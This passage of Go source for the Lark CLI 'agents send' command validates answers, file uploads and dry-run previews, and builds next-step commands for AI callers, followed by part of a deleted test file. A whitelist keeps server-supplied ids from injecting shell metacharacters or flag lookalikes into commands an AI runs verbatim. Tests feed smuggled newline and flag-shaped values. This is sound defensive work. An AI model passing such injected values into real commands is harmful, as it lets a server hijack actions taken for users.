// does not hold the question group; that is the provider's policy (§6.3).
func parseAnswers(raw []string) (map[string][]string, error) {
answers := make(map[string][]string, len(raw))
var viols []string
for _, entry := range raw {
key, value, ok := strings.Cut(entry, "=")
if !ok {
viols = append(viols, fmt.Sprintf("%s非 key=value 形)", entry))
continue
}
if !answerKeyPattern.MatchString(key) {
viols = append(viols, fmt.Sprintf("%skey 非法:合法形态只有 <question_id> 与 <question_id>.text", key))
continue
}
if value == "" {
viols = append(viols, fmt.Sprintf("%s空答案无意义选项题给 option_id、文字给非空文本不想答的题不要带这个 key", key))
continue
}
if _, isText := iagents.SplitAnswerKey(key); isText && len(answers[key]) > 0 {
viols = append(viols, fmt.Sprintf("%s同一题的 .text 只能出现一次,文本不累积)", key))
continue
}
dup := false
for _, v := range answers[key] {
if v == value {
dup = true // exact duplicate → dedupe silently
break
}
}
if !dup {
answers[key] = append(answers[key], value)
}
}
if len(viols) > 0 {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"非法的 --answer: %s", strings.Join(viols, "")).
WithParam("--answer").
WithHint("给选项键用 --answer <question_id>=<option_id>(多选重复同 key给文字用 --answer <question_id>.text=<文本>,逐条修正后整组重发")
}
return answers, nil
}
// deriveSendMode classifies the send and runs the per-mode client-side guards
// (all offline, all holding under a nil Factory). Conflicting combinations
// never silently fall back to another mode. Guard PRECEDENCE is deliberate
// mode-first: with several simultaneous mistakes the mode-defining flag's guard
// wins (e.g. --answer without --context-id reports the answer guard, not the
// missing --text) — the caller learns which MODE it got wrong before which
// field it forgot. Returns the parsed answers map for the answer mode (nil
// otherwise).
func deriveSendMode(opts *sendOptions) (sendMode, map[string][]string, error) {
hasText := strings.TrimSpace(opts.Text) != ""
if len(opts.Answers) > 0 {
// answer: continues the pending group's own task, so both ids are required.
if opts.ContextID == "" || opts.TaskID == "" {
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"回答问题组需同时提供 --context-id 与 --task-id").
WithParam("--answer").
WithHint("--answer 必须与该问题组所属任务的 --context-id/--task-id 一起提供(照抄 task get 输出 meta.next 的命令模板)")
}
answers, err := parseAnswers(opts.Answers)
if err != nil {
return "", nil, err
}
// --text stays optional here: it is the message-level remark, never a
// question's answer.
return modeAnswer, answers, nil
}
if opts.TaskID != "" && opts.ContextID == "" {
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--task-id 需与 --context-id 一起使用").
WithParam("--task-id").
WithHint("补充 --context-id <ctx-id> 后重发;该任务所属会话可用 lark-cli agents task get <agent_ref> <task-id> 输出的 context_id 确认")
}
if !hasText {
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 必须包含非空白字符").
WithParam("--text").
WithHint(`补充 --text "<消息内容>" 后重发;若在回答问题组,用 --answer <question_id>=<option_id> 或 --answer <question_id>.text=<文本>`)
}
if opts.ContextID != "" {
return modeContinue, nil, nil
}
return modeStart, nil, nil
}
// agentSendRun validates the send inputs, resolves the provider, and either
// prints a dry-run preview or dispatches the message. The mode guards run
// first so they never touch the network and hold even under a nil Factory. A
// send fires once and returns the current task immediately (exit 0); the
// caller polls progress via the meta.next `task get ... --watch` hint.
func agentSendRun(opts *sendOptions) error {
_, answers, err := deriveSendMode(opts)
if err != nil {
return err
}
if err := validateSendFiles(opts.Files); err != nil {
return err
}
f := opts.Factory
// Resolution + --param validation + --dry-run are fully offline, so they work
// (and surface validation as exit 2) before the config gate. The card is
// built with rt=nil (capability matrix only) for the file gate; --param
// validation reads the send operation's own declaration.
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate (offline), before the card / any network access.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Send is a core op; gate it on its own Brands too (normally empty ⇒ no-op).
if err := opBrandGate(f, spec.Send.Brands, opts.Ref, "send"); err != nil {
return err
}
card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), nil)
vp, err := validateParams(opts.Params, spec.Send.Params, iagents.VerbSend, spec, opts.Ref)
if err != nil {
return err
}
in := iagents.SendInput{
Text: opts.Text,
Files: opts.Files,
ContextID: opts.ContextID,
TaskID: opts.TaskID,
Answers: answers,
}
// --dry-run is a client-side behavior: always available, never
// gated by the Card's dry_run capability, and never touches the API.
if opts.DryRun {
return emitDryRun(f, opts.Cmd, opts.Ref, in, vp.Resolved, opts.Format)
}
// An agent that never enters input_required cannot take a group answer, so
// --answer against it is unsupported_capability — gated offline (mirrors the
// --file/file_input gate) to save the caller a doomed round-trip.
if len(in.Answers) > 0 && !card.Supports(iagents.CapInputRequired) {
return capabilityError(opts.Ref, "send with --answer", iagents.CapInputRequired)
}
if len(in.Files) > 0 {
// An agent that does not declare file_input cannot take an upload, so
// --file against it is unsupported_capability — gated before any network
// access, so the user is not told "confirm the upload" for a send that
// would be rejected anyway.
if !card.Supports(iagents.CapFileInput) {
return capabilityError(opts.Ref, "send with --file", iagents.CapFileInput)
}
// --file exfiltrates local file content off this machine (the provider
// reads the file and uploads it to the remote agent). That is an
// irreversible, CLI-enforced high-risk write: a real send that would upload
// requires --yes, returning confirmation_required (exit 10) before any
// network access. dry-run above is exempt — it never uploads.
if !opts.Yes {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents send --file",
"--file 会把本地文件外发上传到远端 agent内容离开本机不可撤回").
WithHint("确认要外发这些文件后,加 --yes 重发")
}
}
// A real send calls the API, so it needs a configured client; build the
// identity-pinned runtime now (not_configured / exit 3 here is correct).
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call. The check is
// all-or-nothing — any real API verb requires the provider's full scope set.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
task, err := spec.Send.Handler(opts.Cmd.Context(), rt, in)
if err != nil {
return err
}
notice := normalizeTask(task)
// A send fires and returns the current task immediately (exit 0). Progress is
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
// hint — send no longer blocks on the task reaching a stop condition.
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbSend), opts.Format, notice)
}
// validateSendFiles is the local gate on --file paths, running before any
// capability/confirmation gate or network access (dry-run included): every
// path must be a relative-within-CWD (the lark-shared safety rule the docs
// promise) EXISTING regular file. Violations are collected and reported in one
// pass, mirroring the --param collect-all style, so a multi-file send is fixed
// in one round-trip. Without this gate a bad path used to be discovered only
// by the provider (or worse, silently "uploaded").
func validateSendFiles(files []string) error {
var viols []string
for _, p := range files {
abs, err := validate.SafeInputPath(p)
if err != nil {
viols = append(viols, fmt.Sprintf("%s仅接受 CWD 内的相对路径)", p))
continue
}
st, err := os.Stat(abs)
switch {
case err != nil:
viols = append(viols, fmt.Sprintf("%s文件不存在或不可读", p))
case st.IsDir():
viols = append(viols, fmt.Sprintf("%s是目录--file 只接受文件)", p))
}
}
if len(viols) == 0 {
return nil
}
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"非法的 --file 路径: %s", strings.Join(viols, "")).
WithParam("--file").
WithHint("--file 只接受当前目录内的相对路径且文件必须存在,逐条修正后重发")
}
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
// reconstructed from the validated input, so a caller can inspect exactly what
// a real send would post without contacting the agent. format=pretty (no --jq)
// renders the same fields as key: value lines instead of the envelope.
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagents.SendInput, params map[string]string, format string) error {
if format == "pretty" && jqExpr(cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintln(out, "dry_run: true")
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
if len(in.Files) > 0 {
fmt.Fprintf(out, "files: %d\n", len(in.Files))
}
if len(params) > 0 {
fmt.Fprintf(out, "params: %d\n", len(params))
}
if in.ContextID != "" {
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
}
if in.TaskID != "" {
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
}
if len(in.Answers) > 0 {
fmt.Fprintf(out, "answers: %d\n", len(in.Answers))
}
return nil
}
would := map[string]interface{}{
"agent_ref": ref,
"text": in.Text,
}
if len(in.Files) > 0 {
would["files"] = in.Files
}
if len(params) > 0 {
// Default 回填后的终值:预演即所得。
would["params"] = params
}
if in.ContextID != "" {
would["context_id"] = in.ContextID
}
if in.TaskID != "" {
would["task_id"] = in.TaskID
}
if len(in.Answers) > 0 {
// §10.1 键编码原样预览:预演即所得。
would["answers"] = in.Answers
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"dry_run": true,
"would_send": would,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// nextIDPattern is the character whitelist for server-supplied identifiers
// (task_id / context_id / question_id) before they are interpolated into a
// meta.next command string: first character alphanumeric, then letters, digits,
// '_' and '-'. It is deliberately stricter than validate.ResourceName — that
// check is a denylist aimed at URL-path safety and would pass shell
// metacharacters (spaces, ';', backticks, quotes), which are exactly what
// matters here: meta.next is defined as "AI executes this verbatim", so a
// server-controlled id is a command-injection surface. The alphanumeric first
// character additionally rejects flag-lookalike ids ("--text", "-o") that would
// survive a bare charset test yet hijack the flag surface when an AI re-composes
// the command. It matches iagents.KeyPattern by construction — the two layers
// must agree or a key accepted at one becomes a dead end at the other.
var nextIDPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `$`)
// safeNextID reports whether s may be interpolated into a meta.next command.
func safeNextID(s string) bool {
return nextIDPattern.MatchString(s)
}
// nextRefPattern is the whitelist for a user-supplied ref before it is
// interpolated into a meta.next command or a hint command string: the
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
// shape ParseRef accepts, further restricted to command-safe characters). A
// ref is not server-controlled — the threat model is not injection but
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
// be executed verbatim), so a failing ref simply drops the command hint.
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
// command string.
func safeNextRef(ref string) bool {
return nextRefPattern.MatchString(ref)
}
// nextForTask builds the meta.next[] hints for a send result: a terminal task
// suggests fetching its artifacts / detail, a still-running task the poll
// command, an input_required task the continue command, and an auth_required
// task the re-authorize flow (auth login, not a text continuation). AI callers use
// these to chain the next step without guessing the command shape, so every
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
// and the task_id (safeNextID) each suppress the whole hint when they fail
// (prefer dropping the hint over risking injection); a failing context_id
// degrades to the <context_id> placeholder,
// which keeps the hint while interpolating nothing untrusted. A hint whose
// command carries <...> placeholders is marked Template so callers know it
// needs substitution before execution.
// nextForTask additionally carries business parameters for the TARGET verb of
// each suggested command per the three-way rule (see paramArgsFor): given
// values that pass the whitelist ride literally, whitelist failures degrade
// required params to placeholders, and target-verb-required params the caller
// never provided are added as placeholders — so a required parameter is
// structurally incapable of falling off the chain. given is what the caller
// explicitly provided this call (never backfilled defaults); spec may be nil
// in construction-time tests (no params are carried then).
// caller is the verb that produced this output: a terminal task viewed via
// task get must NOT suggest the very command the caller just ran (a naive AI
// following meta.next verbatim would loop on itself); the artifact downloads
// remain the only genuine increment there.
func nextForTask(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string, caller string) []output.NextAction {
if !safeNextRef(ref) {
return nil
}
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
return nil
}
if task.State.ShouldStopPolling() {
if task.State == iagents.StateAuthRequired {
// auth_required is an agent-side task state — the end user must
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
// NOT a text continuation like input_required. Point at the auth
// re-authorize flow instead of a text continuation. The concrete scopes are the
// agent's declared scope set (see the lark-agents skill's prerequisites), so --scope is a
// placeholder → Template. ref/task_id are already whitelisted above, so
// echoing the re-check command in the label is safe.
// label 内嵌的重查命令按三分规则补 task_get 的参数携带——auth_required
// 是唯一不指向 agent 子树的 next链传规则同样不许在这条路上丢必填。
recheckArgs, _ := paramArgsFor(spec, iagents.VerbTaskGet, given)
return []output.NextAction{{
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agents task get %s %s%s", ref, task.TaskID, recheckArgs),
Command: `lark-cli auth login --scope "<required_scopes>"`,
Template: true,
}}
}
if task.State == iagents.StateInputRequired {
// A task pausing on a question group: expand ONE per-question template
// (design doc §4.4) so the AI never hand-assembles the answer grammar —
// the placeholder names the answer form per question type (bare
// <option_id> for a choice, marked repeatable for multi-select,
// .text=<文本> for free text). All values are placeholders, so the hint
// is always a template — which is also why a missing or
// whitelist-failing context_id can degrade to the <context_id>
// placeholder instead of dropping the hint. Every question_id is
// server-supplied and must pass the safeNextID whitelist before
// interpolation (normalization upstream guarantees this; a violation
// here degrades to the free-text continuation rather than emitting a
// key the CLI's own guard would reject).
ctxID := task.ContextID
if ctxID == "" || !safeNextID(ctxID) {
ctxID = "<context_id>"
}
sendArgs, _ := paramArgsFor(spec, iagents.VerbSend, given)
if ir := task.InputRequired; (spec == nil || spec.InputRequired) && ir != nil && len(ir.Questions) > 0 {
parts := make([]string, 0, len(ir.Questions))
for _, q := range ir.Questions {
if !safeNextID(q.QuestionID) {
parts = nil
break
}
switch {
case len(q.Options) == 0:
parts = append(parts, fmt.Sprintf("--answer %s.text=<文本>", q.QuestionID))
case q.MultiSelect:
parts = append(parts, fmt.Sprintf("--answer %s=<option_id 多选可重复>", q.QuestionID))
default:
parts = append(parts, fmt.Sprintf("--answer %s=<option_id>", q.QuestionID))
}
}
if parts != nil {
return []output.NextAction{{
Label: "把问题组转达给用户后按其答复提交(用户先前指令已唯一确定答案时可代答,须说明依据);选项都不合适的题用 <question_id>.text=<文本>",
Command: fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s %s%s", ref, ctxID, task.TaskID, strings.Join(parts, " "), sendArgs),
Template: true,
}}
}
}
// No structured group (provider supplied none and normalization had
// nothing to synthesize from): plain free-text continuation — the
// provider treats a message to its paused task as the answer (§6.5).
return []output.NextAction{{
Label: "补充输入后向同一任务续发",
Command: fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s --text <你的答复>%s", ref, ctxID, task.TaskID, sendArgs),
Template: true,
}}
}
// Terminal: suggest reading the final detail, plus a ready-made download
// command per artifact (so the AI never has to hand-craft the
// `task get --artifact` form itself; -o stays a placeholder → template).
// When the caller IS task get, the detail suggestion would be a self-loop
// (the exact command just executed) — drop it and keep only the artifact
// increments.
var next []output.NextAction
if caller != iagents.VerbTaskGet {
getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
next = append(next, output.NextAction{
Label: "查看任务详情与产物",
Command: fmt.Sprintf("lark-cli agents task get %s %s%s", ref, task.TaskID, getArgs),
Template: getTpl,
})
}
next = append(next, artifactNext(ref, task, spec, given)...)
return next
}
getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
return []output.NextAction{{
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch",
Command: fmt.Sprintf("lark-cli agents task get %s %s --watch --timeout %s%s", ref, task.TaskID, defaultWatchTimeout, getArgs),
Template: getTpl,
}}
}
// artifactNext builds one ready-made download command per artifact of a
// terminal task: only when the spec wires DownloadArtifact, only for artifact
// ids that pass the whitelist (a failing id skips just that artifact), always
// template (the -o save path is the caller's choice). Params carry per the
// three-way rule against the artifact_download declaration.
func artifactNext(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string) []output.NextAction {
if spec == nil || !task.IsTerminal || len(task.Artifacts) == 0 {
return nil
}
if op, ok := spec.Op(iagents.VerbArtifactDownload); !ok || !op.Wired {
return nil
}
dlArgs, _ := paramArgsFor(spec, iagents.VerbArtifactDownload, given)
var next []output.NextAction
for _, a := range task.Artifacts {
if a.ID == "" || !safeNextID(a.ID) {
continue // 服务端 id 过不了白名单 → 跳过该产物,不冒注入险
}
next = append(next, output.NextAction{
// label 只内插已过白名单的 id产物名是 agent 可控文本,不进 label。
Label: fmt.Sprintf("下载产物 %s", a.ID),
Command: fmt.Sprintf("lark-cli agents task get %s %s --artifact %s -o <保存路径>%s", ref, task.TaskID, a.ID, dlArgs),
Template: true,
})
}
return next
}
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
// still-running task: a safe default that avoids an unbounded --watch blocking
// forever on a long task and stops an AI caller from self-hammering. On expiry
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
// caller re-watches in segments rather than blocking once. `--watch` used alone
// (--timeout 0) stays unbounded for backward compatibility.
const defaultWatchTimeout = 30 * time.Second

View File

@@ -1,575 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"errors"
"os"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// sendCmdCtx builds a `lark-cli agents send` leaf command whose CommandPath() is
// non-empty (required for content-safety scanning) and whose --as flag is
// explicitly set to bot so ResolveAs honors it verbatim.
func sendCmdCtx(t *testing.T) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agents"}
leaf := &cobra.Command{Use: "send"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if err := leaf.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
leaf.SetContext(context.Background())
return leaf
}
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
// the scripted fakeflow agent agt_x under an explicit bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test — everything under test here is command-layer behavior over the
// scripted provider.
// mkSendFile chdirs to a temp dir and creates name there, so --file passes the
// relative-within-CWD + existence gate (validateSendFiles) in tests.
func mkSendFile(t *testing.T, name string) {
t.Helper()
dir := t.TempDir()
old, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
if err := os.Chdir(dir); err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = os.Chdir(old) })
if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
}
func sendTestOpts(t *testing.T) *sendOptions {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
return &sendOptions{
Factory: f,
Cmd: sendCmdCtx(t),
Ref: "fakeflow:agt_x",
As: "bot",
}
}
// TestSendRequiresText pins that an empty or whitespace-only --text is a validation error
// (subtype invalid_argument) raised before any provider is built.
func TestSendRequiresText(t *testing.T) {
for name, text := range map[string]string{
"empty": "",
"spaces": " ",
"tab": "\t",
"newline": "\n",
"full width space": "\u3000",
} {
t.Run(name, func(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: text})
if err == nil {
t.Fatal("missing --text should raise a validation error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: a missing --text must carry a copy-pasteable remediation
// hint, and the param uses the -- prefix.
if !strings.Contains(p.Hint, "--text") {
t.Errorf("hint should guide adding --text, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--text" {
t.Errorf("param should be --text, got %+v", verr)
}
})
}
}
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
// validation error, raised before any provider is built.
func TestSendTaskIDRequiresContextID(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
if err == nil {
t.Fatal("--task-id without --context-id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: state the next step clearly (--task-id must be provided
// together with --context-id).
if !strings.Contains(p.Hint, "--context-id") {
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--task-id" {
t.Errorf("param should be --task-id, got %+v", verr)
}
}
// TestSendAnswerGroup pins the structured input_required answer path: --answer
// entries need no --text, and they reach the provider hook as the §10.1 map
// encoding — keys verbatim (bare vs .text), values in argv order, multi-select
// accumulated, exact duplicates deduplicated.
func TestSendAnswerGroup(t *testing.T) {
opts := sendTestOpts(t)
opts.ContextID = "sess_1"
opts.TaskID = "task_1"
opts.Answers = []string{
"q1_a8=by_region",
"q2_a8.text=2024 全年",
"q3_a8=east", "q3_a8=north", "q3_a8=east", // exact dup → deduped
}
// deliberately no opts.Text — the answers ARE the message.
var got iagents.SendInput
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
got = in
return &iagents.AgentTask{TaskID: "task_1", ContextID: "sess_1", State: iagents.StateCompleted}, nil
}})
if err := agentSendRun(opts); err != nil {
t.Fatalf("answering a group should not require --text: %v", err)
}
if v := got.Answers["q1_a8"]; len(v) != 1 || v[0] != "by_region" {
t.Errorf("bare answer should reach the hook as-is, got %v", got.Answers["q1_a8"])
}
if v := got.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
t.Errorf(".text key should stay verbatim in the map, got %v", got.Answers["q2_a8.text"])
}
if v := got.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
t.Errorf("multi-select should accumulate in argv order and dedupe exact repeats, got %v", got.Answers["q3_a8"])
}
}
// TestSendAnswerRequiresTaskContext pins that answering a group needs the
// task/context it belongs to (mode-first guard, before key parsing).
func TestSendAnswerRequiresTaskContext(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1=by_region"}})
if err == nil {
t.Fatal("--answer without --context-id/--task-id should error")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--answer" {
t.Errorf("param should be --answer, got %+v", verr)
}
}
// TestSendAnswerGrammar pins the offline --answer key/value grammar in one
// collect-all pass: a non-key=value entry, a near-miss suffix (.txt), a
// flag-lookalike key, an empty value, and a duplicated .text entry are ALL
// reported in one error; none of them reaches any provider.
func TestSendAnswerGrammar(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "sess_1", TaskID: "task_1",
Answers: []string{
"noequals", // 非 key=value
"q1.txt=x", // 后缀拼错:非法 key
"--text=x", // flag 形状 key首字符非法
"q2=", // 空值
"q3.text=a", "q3.text=b", // .text 不累积
}})
if err == nil {
t.Fatal("illegal --answer entries should error offline")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--answer" {
t.Fatalf("param should be --answer, got %+v", verr)
}
for _, frag := range []string{"noequals", "q1.txt", "--text", "q2", "q3.text"} {
if !strings.Contains(verr.Problem.Message, frag) {
t.Errorf("collect-all message should name %q, got %q", frag, verr.Problem.Message)
}
}
}
// workingTask is the canonical non-terminal task the scripted Send returns for
// the happy-path tests.
func workingTask() *iagents.AgentTask {
return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}
}
// TestSendPrettyFormat pins that `send --format pretty` renders the
// resulting task as key: value lines (previously the flag was registered but
// silently ignored).
func TestSendPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Format = "pretty"
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --format pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
// (key: value preview) instead of silently emitting JSON.
func TestSendDryRunPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
// runs context_id/task_id through kvValue (like every other pretty face), so a
// value carrying a newline cannot forge an adjacent "key: value" field row.
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.DryRun = true
opts.Format = "pretty"
opts.ContextID = "ctx1\nstate: completed"
opts.TaskID = "task1\ndeleted: true"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
// The raw newline must not survive into a forged adjacent row.
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
}
if strings.Contains(text, "task_id: task1\ndeleted: true") {
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
}
// kvValue collapses the newline to a space, keeping the value on one line.
if !strings.Contains(text, "context_id: ctx1 state: completed") {
t.Errorf("context_id should collapse to one line, got:\n%s", text)
}
if !strings.Contains(text, "task_id: task1 deleted: true") {
t.Errorf("task_id should collapse to one line, got:\n%s", text)
}
}
// TestSendNoParamsRequired pins card v2: the scripted card declares no
// parameters, so a send without any --param passes card validation — asserted
// via --dry-run so no provider Send fires. A malformed --param is still a
// validation error.
func TestSendNoParamsRequired(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = nil
opts.DryRun = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
}
opts2 := sendTestOpts(t)
opts2.Text = "分析销售"
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
opts2.DryRun = true
err := agentSendRun(opts2)
if err == nil {
t.Fatal("malformed --param should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
// any --param key is unknown → invalid_argument with a hint pointing at
// `agents card`, raised before any provider Send (asserted via --dry-run with
// no send hook installed).
func TestSendUnknownParamRejected(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = []string{"app_id=app_1"}
opts.DryRun = true
err := agentSendRun(opts)
if err == nil {
t.Fatal("card did not declare app_id, --param app_id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(p.Hint, "agents card") {
t.Fatalf("hint should point to agents card, got %q", p.Hint)
}
}
// TestSendDryRun pins that --dry-run prints a would_send preview and never
// calls the provider (no send hook installed → a Send would panic).
func TestSendDryRun(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be an object, got %T", env.Data)
}
if data["dry_run"] != true {
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
}
would, ok := data["would_send"].(map[string]interface{})
if !ok {
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
}
if would["text"] != "分析销售" {
t.Errorf("would_send.text should echo the text, got %v", would["text"])
}
}
// TestSendDryRunRejectsProviderUnsupportedIdentity ensures --dry-run obeys the
// same provider identity contract as a live send while remaining network-free.
func TestSendDryRunRejectsProviderUnsupportedIdentity(t *testing.T) {
opts := sendTestOpts(t)
opts.Ref = "fakeuseronly:agt_x"
opts.Text = "分析销售"
opts.DryRun = true
err := agentSendRun(opts)
if err == nil {
t.Fatal("bot dry-run should be rejected by a user-only provider")
}
p, ok := errs.ProblemOf(err)
var validationErr *errs.ValidationError
if !ok || p.Subtype != errs.SubtypeInvalidArgument || !errors.As(err, &validationErr) || validationErr.Param != "--as" {
t.Fatalf("bot dry-run should fail as invalid_argument for --as, got problem=%+v err=%v", p, err)
}
}
// TestSendStartsTask pins the happy path: a single Send fires and returns the
// submitted / working task in a success envelope immediately (no polling), with
